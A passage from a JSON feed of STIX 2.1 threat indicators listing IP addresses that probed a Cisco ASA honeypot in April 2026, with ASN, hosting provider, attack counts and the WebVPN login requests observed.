          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--fccaa076-da3a-46d0-973b-dedbd0e2eb2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.162.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T17:36:30.959Z",
          "last_seen": "2026-04-13T17:36:52.710Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--69ee3c4e-051b-4816-bc41-023c42cbbf8f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.120.239.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 8,
          "first_seen": "2026-04-13T17:28:15.287Z",
          "last_seen": "2026-04-13T17:28:30.980Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 30671 (Data Bridge Limited)",
      "id": "indicator--94d45059-d24f-49b3-ad1a-6973ea23ea22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.160.24.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T17:31:01.205Z",
          "last_seen": "2026-04-29T22:54:08.028Z",
          "country": "United States",
          "country_code": "US",
          "asn": 30671,
          "as_org": "Data Bridge Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c4422e64-f001-4565-a683-4dfdf3a4fa75",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-11T03:56:54.525Z",
          "last_seen": "2026-04-23T13:29:56.013Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a501e778-cfb7-4ed7-908b-35ce5cc709ef",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-13T17:44:05.291Z",
          "last_seen": "2026-04-28T01:48:40.879Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--95d9d8ff-4e51-437f-98f9-c706039d5aa8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.94.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-13T17:43:10.094Z",
          "last_seen": "2026-04-30T01:40:21.620Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-13T18:20:30.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--3feca7ea-ad9a-425d-8288-d2c983d2fc0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '88.218.80.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:20:30.000Z",
      "valid_until": "2026-05-15T18:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-13T17:21:49.728Z",
          "last_seen": "2026-04-13T17:22:09.624Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--95087df4-0bee-44a9-8f41-8da347cdedca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.72.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-14T00:54:24.144Z",
          "last_seen": "2026-04-14T01:29:12.266Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--f9ec9b14-a89b-46d3-a854-8b6cc179fd10",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '166.88.76.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-14T00:54:07.920Z",
          "last_seen": "2026-04-15T02:23:06.033Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bf7fc6ce-aa75-4581-8ee7-bd01d088bde7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '173.249.254.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-14T01:16:13.321Z",
          "last_seen": "2026-04-23T09:45:27.919Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--e270130d-7a58-483c-8c47-097349f15e71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '193.8.75.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-14T01:02:27.707Z",
          "last_seen": "2026-04-14T01:02:44.561Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1c92308a-7a10-4c9d-9245-96be29bf6e39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-14T00:53:44.233Z",
          "last_seen": "2026-04-27T19:37:33.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--5ce465f7-0b22-49b9-96aa-f737b5d937d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.81.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-14T01:15:21.712Z",
          "last_seen": "2026-04-29T01:49:00.407Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--d6bed937-a754-49f6-983f-7fddd04382ea",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.86.93.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-14T00:54:51.844Z",
          "last_seen": "2026-04-14T00:54:54.844Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--84ec6977-fb0c-4e8f-a420-292987208482",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.89.105.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-14T00:54:48.079Z",
          "last_seen": "2026-04-14T00:54:48.079Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--bbcb6890-beee-4cd3-8692-d53c352b0f71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.202.55.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-14T01:01:50.202Z",
          "last_seen": "2026-04-14T01:01:50.202Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 60068 (Datacamp Limited)",
      "id": "indicator--1e11f50e-d9d8-4378-94d8-d5fc16271783",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '79.127.217.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T01:20:05.000Z",
      "valid_until": "2026-05-16T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-14T01:13:41.207Z",
          "last_seen": "2026-04-18T05:11:57.043Z",
          "country": "United States",
          "country_code": "US",
          "asn": 60068,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 214238 (Host Telecom Ltd)",
      "id": "indicator--68cab347-23b1-406d-a324-547ebb6f73c8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.164.164.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:20:10.000Z",
      "valid_until": "2026-05-16T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 7,
          "first_seen": "2026-04-14T01:59:37.938Z",
          "last_seen": "2026-04-14T01:59:54.501Z",
          "country": "United States",
          "country_code": "US",
          "asn": 214238,
          "as_org": "Host Telecom Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--6d96c4e6-70fd-4a6e-a57e-013f5d74b7a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:20:10.000Z",
      "valid_until": "2026-05-16T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-14T02:13:49.205Z",
          "last_seen": "2026-04-28T03:38:44.097Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-14T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c4fa2279-499e-44c9-81fb-8d3139f3e6e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-14T02:20:10.000Z",
      "valid_until": "2026-05-16T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 21,
          "first_seen": "2026-04-14T01:33:30.525Z",
          "last_seen": "2026-04-29T23:46:39.248Z",
          "country": "United States",
          "country_code": "US",
